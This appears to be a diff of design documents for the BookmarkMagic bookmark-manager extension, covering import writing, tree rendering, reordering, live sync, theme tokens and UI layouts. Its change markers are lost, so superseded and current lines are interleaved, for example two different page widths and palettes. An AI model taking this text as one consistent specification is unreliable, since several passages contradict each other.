|
||||
writeTree(plan, { signal, onProgress }):
|
||||
total = plan.stats.toCreate; done = 0 // one counter for the WHOLE import
|
||||
async dfs(nodes, parentId):
|
||||
async dfs(nodes, parentId, trail):
|
||||
for node of nodes:
|
||||
if signal.aborted → throw BmAborted(done)
|
||||
created = await bookmarks.create({ parentId, title, url? })
|
||||
done++; if done % 50 == 0 or done == total → onProgress({done,total,currentPath})
|
||||
if node.children → await dfs(node.children, created.id)
|
||||
for (const seg of plan.segments) // 1 segment (new-folder) or ≤2 (merge/replace)
|
||||
await dfs(seg.nodes, seg.rootId)
|
||||
done++; if done == 1 or done % 50 == 0 or done == total → onProgress({done,total,currentPath})
|
||||
if node.children → await dfs(node.children, created.id, trail + node.title)
|
||||
for (const seg of plan.segments) // 1 (new-folder), or one per live folder written to
|
||||
await dfs(seg.nodes, seg.parentId, seg.trail ?? [])
|
||||
```
|
||||
|
||||
`done` and `total` are declared outside the loop, so progress, abort and the
|
||||
final report stay whole-import scoped rather than resetting per segment.
|
||||
final report stay whole-import scoped rather than resetting per segment. The
|
||||
first create reports too (since v1.1.0): on a slow profile 50 creates can take
|
||||
seconds, and a bar stuck at 0% reads as a hang.
|
||||
|
||||
`create()` accepts only `{ parentId, index?, title, url? }` — `dateAdded` is
|
||||
output-only, so **imported nodes are stamped with the current time**. Parsed
|
||||
@@ -232,7 +304,113 @@ is fine ≤ 100k nodes. No fuzzy search in v1 (zero-dep rule).
|
||||
|
||||
## 9. Tree rendering scale strategy
|
||||
|
||||
Folders render collapsed by default (depth ≥ 2) and children mount lazily on
|
||||
expand — the DOM never holds the full 100k tree. If a single folder with
|
||||
>5 000 direct children is expanded, render in chunks of 500 with a
|
||||
"Show more" sentinel. This avoids a virtual-list dependency in v1.
|
||||
**Bounded, not virtualized.** Every tree surface mounts a bounded number of
|
||||
rows: 500 to start, 500 more per "Show more" ("Show n more rows · m not
|
||||
shown"). There is no virtual list — no dependency for one, and none
|
||||
hand-written; #edit mounts a **window** of rows around the focus instead.
|
||||
1.0.x documented chunking for very wide folders and never built it: #edit
|
||||
rendered every visible row in one pass, so "Expand all" on a large profile
|
||||
froze the tab.
|
||||
|
||||
- **#edit** (`TreeList.svelte`). `visibleRows` (`edit/tree-keyboard.ts`)
|
||||
flattens the tree into the rows actually showing — roots open on first load,
|
||||
every other folder closed until opened — and computes each row's
|
||||
`aria-posinset`/`aria-setsize` on the way. The list mounts a window of 500
|
||||
rows (`edit/row-window.ts`) that always holds the focused row:
|
||||
`aria-activedescendant` and scroll-into-view both need it in the DOM. When
|
||||
focus leaves the window (End, type-ahead, Home), a fresh window is centred on
|
||||
it; "Show earlier" and "Show more" grow it by 500 either way. 1.1.0's first
|
||||
cut grew a prefix from row 0 instead, so End on 20 000 rows mounted all of
|
||||
them — 3.9 s, then ~200 ms per arrow key.
|
||||
- **Import preview and export picker** (`TreePreviewNode`, `FolderPickNode`):
|
||||
nested lists. The top level starts open and everything deeper closed; a
|
||||
folder's children mount only once it is opened, then 500 at a time with a
|
||||
per-folder "Show more". The picker lists folders only.
|
||||
- **What is not done.** `visibleRows` re-walks every visible node on each tree
|
||||
change — O(visible) per change, acceptable at the 100k cap; a key press only
|
||||
looks the focused row up. Mounting exactly what is on screen (true
|
||||
virtualization) would bring a jump from 500 row mounts down to a screenful;
|
||||
measured in the harness, Home/End on 3 000 rows takes ~0.4 s in a background
|
||||
page and arrows 2–6 ms, so it stays in the `15` backlog.
|
||||
|
||||
## 10. Reordering — `edit/sort.ts`, `edit/move-target.ts`
|
||||
|
||||
Both write through `chrome.bookmarks.move`, whose index has one trap: **within
|
||||
one parent, a move to the right counts the target index as if the node were
|
||||
still in place**, while `onMoved` — and `patch-tree`'s `moveNode` — count after
|
||||
its removal. Moving `a` after `c` in `[a, b, c]` is `move(a, { index: 3 })`, and
|
||||
`onMoved` then reports index 2. A move to the left needs no adjustment.
|
||||
|
||||
**Sort A→Z** (`planSort`), planned before anything moves so the confirmation
|
||||
can state the number:
|
||||
|
||||
```
|
||||
sortedOrder(children, locale):
|
||||
collator = Intl.Collator(locale, { numeric: true, sensitivity: 'base' })
|
||||
stable sort: folders before bookmarks, then collator.compare(key), then current position
|
||||
key(node) = node.title — or the URL, for a bookmark whose title is blank (as Chrome shows it)
|
||||
|
||||
planSort(children, locale):
|
||||
target = sortedOrder(children, locale); current = [...children]; moves = []
|
||||
for index, wanted of target:
|
||||
if current[index] is wanted → continue // already in place: never moved
|
||||
take wanted out of current (it is always to the right of index), put it at index
|
||||
moves.push({ id: wanted.id, index })
|
||||
return moves
|
||||
```
|
||||
|
||||
- `numeric` puts "Item 2" before "Item 10"; `sensitivity: 'base'` ignores case
|
||||
and accents; the locale is the UI language. Ties keep their current order.
|
||||
- Each move fills the next position from further right — a **leftward** move,
|
||||
the case where Chrome's index needs no adjustment — so the indices are valid
|
||||
applied in order. `sort.test.ts` applies the moves to 300 random folders with
|
||||
Chrome's index rule and checks the result equals `sortedOrder`.
|
||||
- A sorted folder plans zero moves (the UI says so instead of asking). The
|
||||
commands that run the plan are in `03 §3`.
|
||||
|
||||
**Drop planning** (`planDrop`), shared by every drag; `canMoveInto` is the one
|
||||
legality rule DnD and "Move to…" both use:
|
||||
|
||||
```
|
||||
planDrop(roots, movingId, targetId, zone): // zone: before | into | after
|
||||
'into' → canMoveInto(target) ? { parentId: target } : none // appended
|
||||
parent = target.parentId; none if illegal (canMoveInto(parent) false) or target is the node
|
||||
at = target's index among parent's children
|
||||
api = zone == 'before' ? at : at + 1 // chrome.bookmarks.move's index
|
||||
from = moving's index if it already lives in parent, else -1
|
||||
if from != -1 and api in { from, from + 1 } → none // dropped right beside itself
|
||||
local = (from != -1 and from < api) ? api - 1 : api // onMoved's / moveNode's index
|
||||
return { parentId: parent, position: { api, local } }
|
||||
|
||||
canMoveInto(movingId, targetId):
|
||||
target is a folder, not policy-managed, not the node, not inside the node's subtree
|
||||
```
|
||||
|
||||
The optimistic patch uses `local` and the API call `api`. Permanent roots take
|
||||
drops *into* only: their parent is the synthetic root, which is never a legal
|
||||
destination. Asserted in `move-target.test.ts` (both index spaces, cross-folder,
|
||||
into a bookmark refused, beside itself, beside a root) and, against the
|
||||
in-memory fake, in `edit-session.test.ts`.
|
||||
|
||||
## 11. Live-sync batching — `edit/live-sync.ts`
|
||||
|
||||
```
|
||||
createBatcher({ onFlush, onBurst, limit = 500, schedule = requestAnimationFrame }):
|
||||
push(event): if not overflowed:
|
||||
queue.push(event)
|
||||
if queue.length > limit → overflowed = true; queue = []
|
||||
arm() // at most one flush scheduled
|
||||
resync(): overflowed = true; queue = []; arm() // reorder, end of Chrome's import
|
||||
flush(): overflowed → onBurst() // re-read the tree once
|
||||
else queue non-empty → onFlush(queue) // applyEvents, arrival order
|
||||
dispose(): cancel the scheduled flush, drop the queue
|
||||
```
|
||||
|
||||
- `applyEvents` folds `created`/`removed`/`changed`/`moved` into the tree with
|
||||
`patch-tree`'s immutable helpers: one new tree per frame, not one per event.
|
||||
- Past the limit, one re-read (`getTree`) replaces what would be thousands of
|
||||
patches, and is exact by construction; the next frame batches normally again.
|
||||
The re-read keeps expansion and focus where the nodes still exist (`03 §3`).
|
||||
- The scheduler is injected, so `live-sync.test.ts` fires frames by hand: one
|
||||
batch per frame, a burst past the limit becomes one `onBurst` and no patch,
|
||||
`resync` re-reads, `dispose` cancels what is pending.
|
||||
@@ -6,27 +6,66 @@ framework.
|
||||
|
||||
## 1. Design tokens — `src/styles/tokens.css`
|
||||
|
||||
The look since v1.1.0 is "technical": a cool neutral ramp, a monospace face for
|
||||
labels and readouts, a faint grid, square-ish corners and quick, small motion.
|
||||
No font is bundled — both stacks are system ones.
|
||||
|
||||
```css
|
||||
:root {
|
||||
--bg: #ffffff; --bg-raised: #f6f7f9; --border: #e2e5ea;
|
||||
--fg: #1b1e24; --fg-muted: #5b6472;
|
||||
--accent: #6d4aff; --accent-fg: #ffffff; /* violet — "magic" identity */
|
||||
--danger: #ce3547; --danger-fg: #ffffff;
|
||||
--success: #198045; --warn: #99651a;
|
||||
--radius: 10px; --radius-sm: 6px;
|
||||
--font: system-ui, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
|
||||
color-scheme: light; accent-color: var(--accent); /* native controls follow the theme */
|
||||
--bg: #fbfbfd; --bg-raised: #f2f3f7; --bg-sunken: #eceef3; /* page · panel · well */
|
||||
--border: #dde1e8; /* decorative dividers only */
|
||||
--border-strong: #7b8496; /* every interactive boundary — ≥ 3:1 */
|
||||
--fg: #151821; --fg-muted: #535d6e;
|
||||
--accent: #6447f0; --accent-fg: #ffffff; --accent-subtle: #ece7ff; /* violet — "magic" */
|
||||
--danger: #c22f3e; --danger-fg: #ffffff; --success: #15733c; --warn: #8a5a12;
|
||||
--grid: rgb(21 24 33 / 4.5%);
|
||||
--radius: 6px; --radius-sm: 4px;
|
||||
--font: system-ui, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
|
||||
--font-mono: ui-monospace, 'Cascadia Code', 'SF Mono', Menlo, Consolas, 'Liberation Mono', monospace;
|
||||
--fs-0: 12px; --fs-1: 13.5px; --fs-2: 15px; --fs-3: 18px; --fs-4: 24px;
|
||||
--sp-1: 4px; --sp-2: 8px; --sp-3: 12px; --sp-4: 16px; --sp-5: 24px; --sp-6: 32px;
|
||||
--shadow-1: …; --shadow-2: …; /* resting raise · floating (toasts, dialogs) */
|
||||
--z-dialog: 40; --z-toast: 50;
|
||||
--width-page: 1040px; --width-side: 360px;
|
||||
--dur-1: 120ms; --dur-2: 200ms; --dur-3: 320ms; --ease: cubic-bezier(0.2, 0.8, 0.2, 1);
|
||||
}
|
||||
[data-theme="dark"] {
|
||||
--bg: #16181d; --bg-raised: #1e2128; --border: #2b3039;
|
||||
--fg: #e8eaee; --fg-muted: #9aa3b0;
|
||||
--accent: #8f72ff; --accent-fg: #16181d;
|
||||
--danger: #ff6b7d; --danger-fg: #16181d;
|
||||
--success: #3ecf8e; --warn: #e2b93b;
|
||||
[data-theme='dark'] { /* repeated verbatim under prefers-color-scheme: dark */
|
||||
color-scheme: dark;
|
||||
--bg: #0e1015; --bg-raised: #161a22; --bg-sunken: #0a0c10;
|
||||
--border: #262b35; --border-strong: #5f697c;
|
||||
--fg: #e6e9f0; --fg-muted: #9aa4b5;
|
||||
--accent: #9a80ff; --accent-fg: #0e1015; --accent-subtle: #241c44;
|
||||
--danger: #ff6b7d; --danger-fg: #0e1015; --success: #3ecf8e; --warn: #e2b93b;
|
||||
--grid: rgb(230 233 240 / 3.5%); /* plus darker --shadow-1/-2 */
|
||||
}
|
||||
```
|
||||
|
||||
The roles matter more than the values, because the new surfaces are easy to
|
||||
misuse:
|
||||
|
||||
- **Three surfaces.** `--bg` is the page and the inside of lists and cards;
|
||||
`--bg-raised` is a panel (callouts, dialog header and footer, the duplicate
|
||||
panel, row hover); `--bg-sunken` is a well — inputs, readouts (StatsCard, the
|
||||
popup counts), the TabBar track, the status bar. `--accent-subtle` tints what
|
||||
is selected: the focused tree row, the chosen mode or format card, a
|
||||
drop-into target.
|
||||
- **Two borders.** `--border` only divides. Anything that marks an interactive
|
||||
boundary — inputs, cards, the drop zone, the tree frame — uses
|
||||
`--border-strong`, which clears 3:1 (WCAG 1.4.11).
|
||||
- `color-scheme` makes scrollbars and native form controls follow the theme;
|
||||
`accent-color` tints checkboxes and radios. `base.css` draws the 24px body
|
||||
grid from `--grid` (a few percent alpha: texture, never content), and sets
|
||||
machine-shaped text — counts, versions, paths, addresses (`.mono`, `code`,
|
||||
`kbd`) — and the numbered step labels (`.eyebrow`, `01 · SOURCE`) in the mono
|
||||
stack.
|
||||
- `--z-dialog` is defined but nothing reads it: `Modal` opens with
|
||||
`showModal()`, whose top layer sits above any z-index. `--z-toast` places the
|
||||
toast.
|
||||
- **Motion tokens** (`--dur-*`, `--ease`): anything that *moves* uses them only
|
||||
inside `@media (prefers-reduced-motion: no-preference)` (§5). Colour and
|
||||
opacity fades are not motion and may use them anywhere — Button's hover does.
|
||||
|
||||
⚠️ **`--accent-fg` and `--danger-fg` must be redefined in the dark block, in the
|
||||
opposite direction to the colour they sit on.** Dark mode lightens `--accent`
|
||||
and `--danger` for contrast against `--bg`, which is exactly what breaks white
|
||||
@@ -34,110 +73,255 @@ ink on them — the original palette measured 3.67:1 and 2.74:1 there, against
|
||||
the 4.5:1 §5 requires.
|
||||
|
||||
The light `--danger`/`--success`/`--warn` are darker than an eyeball would pick
|
||||
because all three are rendered as **text** on `--bg-raised` (DuplicatePanel
|
||||
counts, TreePreviewNode badges, WarningList's summary), where the original
|
||||
values measured 4.27, 3.26 and 3.40.
|
||||
because all three are rendered as **text** — StatsCard's duplicate count, the
|
||||
preview badges, DuplicatePanel's "kept", the status bar's "local only" — and
|
||||
every text token is held to 4.5:1 on every surface, the sunken and tinted ones
|
||||
included.
|
||||
|
||||
None of these numbers is a matter of taste: `tests/unit/styles/contrast.test.ts`
|
||||
parses `tokens.css` and fails the build if any text pair drops below 4.5:1, or
|
||||
if the two dark blocks drift apart. Re-run it after changing a colour.
|
||||
parses `tokens.css` and, for light and for both dark blocks, fails the build if
|
||||
any of the six text tokens (`--fg`, `--fg-muted`, `--accent`, `--danger`,
|
||||
`--success`, `--warn`) drops below 4.5:1 on any of the four surfaces (`--bg`,
|
||||
`--bg-raised`, `--bg-sunken`, `--accent-subtle`); if ink on a filled control
|
||||
(`--accent-fg` on `--accent`, `--danger-fg` on `--danger`) does; if
|
||||
`--border-strong` or `--accent` (the focus ring) falls under 3:1 on `--bg` or
|
||||
`--bg-raised`; or if the two dark blocks drift apart. Re-run it after changing a
|
||||
colour. It is token-level: an `opacity` on text, a hardcoded colour or a pair
|
||||
nobody added to its list gets past it — the contrast item in `11 §5` is the
|
||||
backstop.
|
||||
|
||||
Theme: `data-theme` on `<html>`; default follows `prefers-color-scheme`,
|
||||
manual override persisted in Settings. Focus rings always visible
|
||||
(`:focus-visible` outline in accent).
|
||||
Theme: `data-theme` on `<html>` — set for Light and Dark, **removed** for
|
||||
System, so the `prefers-color-scheme` block decides (`applyTheme` in
|
||||
`stores/settings.svelte.ts`); the manual override persists in Settings. Focus
|
||||
rings are always visible (`:focus-visible`, a 2px `--accent` outline).
|
||||
|
||||
## 2. Popup (~320 × auto px)
|
||||
The extension icon does not read these tokens: `scripts/gen-icons.mjs`
|
||||
hardcodes the 1.0 accent, `#6d4aff`, so the toolbar icon kept its violet when
|
||||
the UI moved to `#6447f0`.
|
||||
|
||||
## 2. Popup (340 px × auto)
|
||||
|
||||
```
|
||||
┌──────────────────────────────┐
|
||||
│ ◆ BookmarkMagic v1.0 │ header: icon + name + version
|
||||
├──────────────────────────────┤
|
||||
│ [⬆ Import bookmarks… ] │ → manager#import
|
||||
│ [⬇ Export bookmarks… ] │ → manager#export
|
||||
│ [🗂 Open manager ] │ → manager#edit
|
||||
├──────────────────────────────┤
|
||||
│ 1 284 bookmarks · 96 folders │ footer: live count (getTree stats) + ⚙ → #settings
|
||||
└──────────────────────────────┘
|
||||
┌──────────────────────────────────┐
|
||||
│ ◆ BookmarkMagic v1.x.y │ mark + name + version (mono)
|
||||
├────────────────┬─────────────────┤
|
||||
│ BOOKMARKS │ FOLDERS │ readout: what lives INSIDE the roots
|
||||
│ 1 284 │ 96 │
|
||||
├────────────────┴─────────────────┤
|
||||
│ [⬆ Import bookmarks… ›]│ tile + one-line hint → manager#import
|
||||
│ [⬇ Export bookmarks… ›]│ → manager#export
|
||||
│ [✎ Open manager ›]│ → manager#edit
|
||||
├──────────────────────────────────┤
|
||||
│ ● local only ⚙ │ ⚙ → manager#settings
|
||||
└──────────────────────────────────┘
|
||||
```
|
||||
|
||||
Legal not yet accepted → buttons still open the Manager (the gate lives
|
||||
The counts walk the tree once and **leave out the three permanent roots** —
|
||||
1.0.x counted them, so an empty profile read "0 bookmarks · 3 folders". A failed
|
||||
read shows `—`. Each tile hands its route to `openManager`
|
||||
(`browser/open-manager.ts`): an open Manager tab is focused and asked over a
|
||||
`BroadcastChannel` to switch to that route — refused, with the busy toast, while
|
||||
an import is writing (`03 §5`) — and otherwise a new tab opens at the hash.
|
||||
1.0.x only focused the open tab, so "Export" landed wherever it had been.
|
||||
|
||||
Legal not yet accepted → the tiles still open the Manager (the gate lives
|
||||
there). No heavy work in the popup, ever.
|
||||
|
||||
## 3. Manager layout
|
||||
|
||||
```
|
||||
┌────────────────────────────────────────────────────────────┐
|
||||
│ ◆ BookmarkMagic [Import][Export][Edit] 🌐 ◐ │ header: brand · TabBar · lang · theme
|
||||
├────────────────────────────────────────────────────────────┤
|
||||
│ <active tab content> │
|
||||
├────────────────────────────────────────────────────────────┤
|
||||
│ v1.0.0 · GPL-3.0 · GitHub ↗ Settings · About │ slim footer
|
||||
└────────────────────────────────────────────────────────────┘
|
||||
┌──────────────────────────────────────────────────────────────────────────────────────────┐
|
||||
│ ◆ BookmarkMagic ~/edit [⬆ Import][⬇ Export][✎ Edit] [◍ English ▾] [▭|☀|☾] │ header
|
||||
├──────────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ <active tab content> │
|
||||
├──────────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ ● local only │ bookmarks, storage │ v1.x.y │ GPL-3.0 │ GitHub ↗ ⚙ Settings │ ⓘ About │ status bar
|
||||
└──────────────────────────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
Max content width 960px, centered. Settings/About open as tabs too (footer
|
||||
links = same routes, and both are disabled while an import is writing — see
|
||||
`03 §5`). The version in the footer is read from the manifest at runtime
|
||||
(`browser/app-info.ts`), never hardcoded.
|
||||
- **Header** (sticky, translucent over the content): the brand mark (an accent
|
||||
tile whose logo spark pulses), the name, and the route as a mono crumb
|
||||
`~/<route>` (hidden under 640px); `TabBar` — Import/Export/Edit as icon +
|
||||
label in a sunken track, with one raised pill that slides to the active tab
|
||||
(labels collapse to icons under 560px; no pill on `#settings`/`#about`); then
|
||||
the compact language select and theme control.
|
||||
- **Status bar** (IDE-style: mono, sunken, sticky at the bottom): `local only`
|
||||
(a green dot; its title says the extension cannot send anything) ·
|
||||
`bookmarks, storage`, the only two permissions · `v<version>` · `GPL-3.0` ·
|
||||
`GitHub ↗` · and, right-aligned, `Settings` and `About`. The page is a flex
|
||||
column at least the window's height, so the bar sits at the bottom even
|
||||
under a short tab.
|
||||
|
||||
The header's theme control is a **three-way segmented control**
|
||||
(System · Light · Dark), not the single `◐` glyph the sketch above draws.
|
||||
Rationale: one code path shared with the `#settings` row, and the current
|
||||
choice is visible rather than inferred — a cycling button conflates "what am I"
|
||||
with "what will I become", which fights §5.
|
||||
Max content width `--width-page` (1040px), centered. The side column of
|
||||
#import, #export and the duplicate panel is `--width-side` (360px); two-column
|
||||
layouts stack under 820px. Settings/About open as tabs too (the status-bar
|
||||
buttons = same routes, and both are disabled while an import is writing — see
|
||||
`03 §5`). The version is read from the manifest at runtime
|
||||
(`browser/app-info.ts`), never hardcoded. Every route sets the document title,
|
||||
`<Route> · BookmarkMagic`.
|
||||
|
||||
The theme control is a **three-way segmented control** (System · Light · Dark —
|
||||
monitor/sun/moon icons in the header, words in `#settings`), not a cycling `◐`
|
||||
glyph. Rationale: one code path shared with the `#settings` row, and the
|
||||
current choice is visible rather than inferred — a cycling button conflates
|
||||
"what am I" with "what will I become", which fights §5.
|
||||
|
||||
`<LegalGate>` fills the **content region**, not the viewport. `docs/14 §2`
|
||||
(echoed in `03 §4` and the `15` decision log) requires `#settings` and `#about`
|
||||
to stay reachable while the gate is up, and a literal `inset: 0` scrim would
|
||||
bury the footer links that get you there. So: a full-bleed panel inside
|
||||
`<main>`, with the header and footer still live and the three blocked tabs
|
||||
disabled via `TabBar`'s `blocked` prop. A side effect worth keeping — the
|
||||
Import/Export/Edit tabs never mount before acceptance, so nothing touches
|
||||
`chrome.bookmarks` until the user has agreed to the terms.
|
||||
bury the status-bar links that get you there. So: a full-bleed panel inside
|
||||
`<main>`, with the header and status bar still live. `TabBar`'s `blocked` prop
|
||||
marks the three gated tabs with a lock icon and an "accept the terms" title,
|
||||
but they stay **clickable** — the gate renders in their place, and inert
|
||||
buttons stranded a first-run user who had gone to `#settings` first. A side
|
||||
effect worth keeping — the Import/Export/Edit tabs never mount before
|
||||
acceptance, so nothing touches `chrome.bookmarks` until the user has agreed to
|
||||
the terms.
|
||||
|
||||
### 3.1 #import
|
||||
|
||||
1. **Idle:** `<DropZone>` (dashed border, accent on dragover) — "Drop a
|
||||
bookmark file or *browse* — .html, .json, .csv · max 25 MB".
|
||||
2. **Parsed:** two-column: left `<TreePreview>` (read-only tree, badges
|
||||
`new`/`dup`); right `<StatsCard>` (bookmarks / folders / depth /
|
||||
duplicates) + `<WarningList>` (collapsible) + `<ImportOptions>`:
|
||||
- Merge mode radio (New folder ▸ default · Merge · Replace all).
|
||||
Replace shows a danger callout: "Deletes ALL current bookmarks. A JSON
|
||||
safety backup will download first."
|
||||
- `[x] Skip duplicates already in this browser (n found)` — **disabled and
|
||||
unchecked when Replace is selected**, with the note "Existing bookmarks
|
||||
are being replaced". Skipping against a tree that is about to be deleted
|
||||
would silently drop everything (`03 §1`, `05 §3`).
|
||||
- Primary button `Import n bookmarks`, where n is `stats.bookmarkCount`
|
||||
(bookmarks only). The progress bar uses `stats.toCreate` (folders
|
||||
included) — two different numbers by design (`02 §4`).
|
||||
3. **Writing:** `<ProgressBar>` (determinate) + current path line +
|
||||
`Cancel` + "Keep this tab open" notice.
|
||||
4. **Done:** `<ResultCard>` (created / skipped / warnings) + `[Open Edit tab]`
|
||||
`[Import another file]`. Cancelled/error variants include copyable detail.
|
||||
Numbered mono step labels (`01 · SOURCE` … `04 · WRITING`) head each stage.
|
||||
|
||||
1. **Idle — 01 · Source:** `<DropZone>`, a single button-shaped target (so the
|
||||
keyboard gets the file picker for free) with a marching-ants border that
|
||||
travels on hover and dragover: "Drop a bookmark file or click to browse ·
|
||||
max 25 MB", and a line naming what it reads — browser HTML exports, CSV,
|
||||
BookmarkMagic and Firefox JSON backups, Chrome's own `Bookmarks` file. The
|
||||
picker has **no `accept` filter** (`03 §1` step 1); only the first file of a
|
||||
multi-file drop is read. While reading: "Reading <name>…".
|
||||
2. **Parsed:** two columns.
|
||||
- Left, **02 · Preview**, with the file name and the detected format as
|
||||
pills, then `<TreePreview>` (read-only nested lists, §5): `new`/`dup`
|
||||
badges, a child count on every folder, and on a top-level folder the file
|
||||
marks as a browser root a `→ bar` / `→ Other` / `→ Mobile` pill — where
|
||||
Merge and Replace unwrap it (`03 §1`).
|
||||
- Right, **03 · Options**: `<StatsCard>` readout (bookmarks · folders · max
|
||||
depth · duplicates, the last in `--warn` when non-zero) + `<WarningList>`
|
||||
(collapsible, one plural line per code) + `<ImportOptions>`:
|
||||
- Merge mode as three cards with an icon and a one-line note (New folder ▸
|
||||
default · Merge · Replace all). Replace shows a danger callout: "This
|
||||
deletes ALL current bookmarks. A JSON safety backup is saved first, and
|
||||
nothing is deleted until that succeeds."
|
||||
- `[x] Skip duplicates already in this browser (n found)` — **disabled and
|
||||
unchecked when Replace is selected**, with the note "Not applicable:
|
||||
Replace deletes your current bookmarks first." Skipping against a tree
|
||||
that is about to be deleted would silently drop everything (`03 §1`,
|
||||
`05 §3`).
|
||||
- The today's-date notice, then the primary button `Import n bookmarks`,
|
||||
danger-styled for Replace. **n comes from a preview plan** —
|
||||
`previewPlan` runs `buildImportPlan` against the preview-time snapshot
|
||||
with the chosen mode and dedupe — so links the user chose to skip are
|
||||
not counted; the write re-plans against a fresh read at Start
|
||||
(`03 §1` step 7). The progress bar uses `stats.toCreate` (folders
|
||||
included) — two different numbers by design (`02 §4`).
|
||||
- **Replace asks first.** A danger `ConfirmDialog` (focus on Cancel) states
|
||||
both sides exactly: "n bookmarks and m folders in this browser will be
|
||||
deleted, after a safety backup is saved. Then n′ bookmarks and m′ folders
|
||||
from <file> are written." The current counts are everything inside the
|
||||
writable roots, from the preview-time read (`prepareImport`'s `current`);
|
||||
the incoming ones are the preview plan's. Confirm reads "Back up and
|
||||
replace" (`09` T4).
|
||||
3. **Backing up → attesting → clearing** (Replace only, `03 §1` step 6b): a
|
||||
warning while the save dialog is open; on the fallback path a blocking
|
||||
confirmation ("I have the backup — delete and replace" / Cancel); then a
|
||||
danger callout while the tree is deleted, with **no Cancel**.
|
||||
4. **Writing — 04 · Writing:** striped determinate `<ProgressBar>` (the stripes
|
||||
travel only when motion is allowed) + "Importing… done / total" + the
|
||||
current path + "Keep this tab open" + `Cancel`. The first create already
|
||||
reports, so the bar moves at once rather than after 50 items.
|
||||
5. **Report** (`<ImportReport>`). Done: a success callout "Done — n bookmarks
|
||||
and m folders created.", then what was skipped (already in this browser vs
|
||||
repeated in the file), how many existing folders Merge reused (when any),
|
||||
**where** it all went (the new folder's name under Other bookmarks /
|
||||
appended to the folders it belongs in / now exactly what the file holds),
|
||||
and the today's-date notice. A cancelled or failed run says how many items
|
||||
were created and — when something was written outside Replace — where;
|
||||
after a Replace has cleared the tree it names the backup as the user saved
|
||||
it. Failures add an `<ErrorCallout>` (localized message + technical
|
||||
detail). Actions: `[Open Edit tab]` (done only) · `[Import another file]`.
|
||||
|
||||
### 3.2 #export
|
||||
|
||||
Left: `<FolderPickTree>` with tri-state checkboxes under "Everything" master
|
||||
toggle. Right: `<FormatSelect>` (radio cards HTML · JSON · CSV · Markdown,
|
||||
one-line description each + per-format note, e.g. CSV: "empty folders not
|
||||
preserved"), format options (CSV delimiter, MD style), then
|
||||
`Export n bookmarks ⬇`. Success toast with filename.
|
||||
Two columns, like #import.
|
||||
|
||||
- **01 · What to export:** `<FolderPickTree>` — an "Everything" master
|
||||
checkbox, indeterminate while a partial selection exists, over nested lists
|
||||
of folder checkboxes with tri-state (checked / indeterminate / unchecked,
|
||||
from one `checkStates` pass over the tree — `core/select.ts`). Folders only:
|
||||
a bookmark travels with its folder, and each folder shows how many bookmarks
|
||||
it holds directly. The top level starts open, deeper levels closed, and
|
||||
children mount 500 at a time (`05 §9`). Not `role="tree"` (§5).
|
||||
- **02 · Format:** `<FormatSelect>` — radio cards HTML · JSON · CSV ·
|
||||
Markdown, each with an icon, its extension and a one-line note; then the
|
||||
per-format extras: Markdown says it is share-only (BookmarkMagic cannot
|
||||
import it back), CSV says empty folders and the toolbar are not preserved
|
||||
and offers the delimiter, Markdown offers its layout. Defaults come from
|
||||
Settings.
|
||||
- `Export n bookmarks`, disabled at zero. Success is a toast "Download started:
|
||||
<file>" — *started*, because the anchor download gives no completion signal
|
||||
and the browser may still ask where to save (`03 §2`). A failure stays on
|
||||
screen as an `<ErrorCallout>` with its technical detail.
|
||||
|
||||
### 3.3 #edit
|
||||
|
||||
Toolbar: `<SearchInput>` (⌘/Ctrl-F focuses) · `New folder` ·
|
||||
`Find duplicates` · `Expand all / Collapse all`.
|
||||
Body: `<TreeView>` (editable) — rows: disclosure ▸, favicon placeholder
|
||||
(folder/link glyph — no remote favicons), title, muted domain, hover-actions
|
||||
(rename ✎, delete 🗑, ⋯ menu: Move to…, Copy URL, Open).
|
||||
Interactions: drag & drop with drop-line indicator (HTML5 DnD wrapped in a
|
||||
Svelte action `draggableNode`); F2 rename; Del delete (confirm shows
|
||||
descendant count for folders); Enter opens bookmark; full arrow-key tree
|
||||
navigation (see §5). `<DuplicatePanel>` slides in from right: groups by URL,
|
||||
per-item delete + "Keep first in each group" bulk (confirm dialog).
|
||||
Empty state: friendly illustration + "Import some bookmarks →".
|
||||
**Toolbar** (`EditToolbar`, `role="toolbar"`): search (⌘/Ctrl-F focuses it from
|
||||
anywhere in the tab) · `New folder` · `Sort A→Z` · `Find duplicates` (a
|
||||
toggle, `aria-pressed`) · icon-only `Expand all` / `Collapse all`. Sort acts on
|
||||
the focused folder, or the folder holding the focused bookmark, and is
|
||||
disabled unless that folder has two or more children and is not
|
||||
policy-managed. New folder, Sort and the duplicate panel's deletes are
|
||||
disabled while a bulk command runs.
|
||||
|
||||
**Tree** (`TreeList` + `TreeRow`): one flat `role="tree"` list in a
|
||||
fixed-height scroller, mounted 500 rows at a time with a "Show more" row
|
||||
(`05 §9`); the roots start open. A row: disclosure chevron · glyph (folder,
|
||||
open folder, link — a lock for a policy-managed node) · title (an untitled
|
||||
bookmark shows its address, muted, in mono) · host · a child count on folders ·
|
||||
⚠ on an address Open refuses (`09` T3) · action buttons, shown on hover and on
|
||||
the focused row: **Open** and **Copy link** (bookmarks), **Sort A→Z**
|
||||
(sortable folders), **Rename**, **Move to…**, **Delete** (editable nodes only —
|
||||
never the permanent roots or a policy-managed node). No remote favicons.
|
||||
Search matches render bold in the accent colour.
|
||||
|
||||
- **Rename:** an inline input (F2 or the button), focused with its text
|
||||
selected. Enter or leaving the field commits, trimmed — a blank or unchanged
|
||||
title does nothing; Esc cancels. After Enter or Esc, focus is back on the
|
||||
tree.
|
||||
- **Delete:** a confirmation naming the item (an untitled bookmark by its
|
||||
address), with the descendant count for a folder; when the deleted row had
|
||||
focus, focus moves to the next row (else the previous).
|
||||
- **New folder:** created in the focused folder, beside a focused bookmark,
|
||||
else in the first writable root, and opened in rename with every folder above
|
||||
it open; a search that would hide it is cleared.
|
||||
- **While a bulk command runs** (Sort A→Z, keep-first), every row action that
|
||||
writes is disabled and its keys do nothing, and drag is off.
|
||||
- **Sort A→Z** (`05 §10`): planned first, so the confirmation states how many
|
||||
items move and that the browser has no undo; an already sorted folder gets a
|
||||
toast instead of a dialog.
|
||||
- **Drag & drop**, from any editable row not being renamed: the row under the
|
||||
pointer shows where the item will land — a line along its top (upper
|
||||
quarter: before), along its bottom (lower quarter: after), or a dashed
|
||||
outline (the middle half of a folder: into). A bookmark row splits at the
|
